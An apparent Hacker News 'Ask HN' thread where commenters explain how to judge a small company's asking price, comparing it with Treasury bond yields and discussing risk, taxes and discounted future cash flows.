<comment><USER25> We're not trying to find the next SF/Seattle/NYC here. We're talking about the next Austin/Portland.</comment></comment></comment></comment></comment></comment>


Ask HN: How does annual profit relate to company valuation? - <AUTHOR>

I have been asked by a relative to help evaluate a potential acquisition. Let's say the company makes $1 million a year in profits, with less than $50,000 in annual expenses. Assuming revenues and expenses remain the same for the foreseeable future, how do we determine if the selling price is reasonable? <comment><USER2> If the revenues and expenses are static, you're looking at a revenue stream of $950,000 per year.

To evaluate whether you're getting a good price, you have to consider what alternative investments you can put that money into, and what the relative risks of these investments are.

For example, let's say the asking price for the company was $50 million. For that money, I could buy $50 million worth of 10 year US Treasury bonds that would give me a risk-free return of $935,000 per year at the current yield of 1.87% [1] (without having to run a company). So hopefully you're paying much less than $50 million for this business, since it's much more risky than Treasury bonds. It's probably also a lot more risky than investment-grade corporate bonds yielding 3.47%.[2]

What are some of the potential risks? A competitor could take away a significant chunk of your market share, one or more key employees could quit, your expenses could rise, the economy could tank, etc.

If your relative is planning on spending millions of dollars on an investment, they should probably get financial advice from an expert who knows what they're doing, not from random people on the internet.

[1] [http://www.bloomberg.com/markets/rates-bonds/government- bond...](http://www.bloomberg.com/markets/rates-bonds/government-bonds/us/)

[2] [http://www.bloomberg.com/markets/rates-bonds/corporate- bonds...](http://www.bloomberg.com/markets/rates-bonds/corporate-bonds/)

<comment><USER3> Also consider taxes. What taxes would your relative pay on this acquisition, as opposed to the taxes they would pay by doing something else.

Do they intend to acquire it and hold it for a long time? If so long-term capital gains is helpful.

</comment></comment><comment><USER4> Sound analyses don't assume revenue and expenses remain constant. They assign a probability to that happening and discount discounted future cash flows accordingly. Sound analyses also look at the liquidity of the asset, market trends and potential market changes, and trends and changes in the underlying industry.

They also scrutinize the books via an accountant and the underlying infrastructure. It's also worth figuring out why the Owner is selling the business in the current market.

But in the end, assuming your relative is a reasonable buyer, then the selling price is reasonable if your relative buys.

Good luck.

</comment><comment><USER5> What is the free cash flow, 950k a year? The value is all discounted future free cash flows. Or the value is just whatever the buyer is willing to pay. Obviously lots of acquisitions will never pay for themselves because they are strategic acquisitions. Will minecraft ever make $2.5 billion? I would take future discounted cash flows, multiply by 3 for the hassle and call it good.</comment>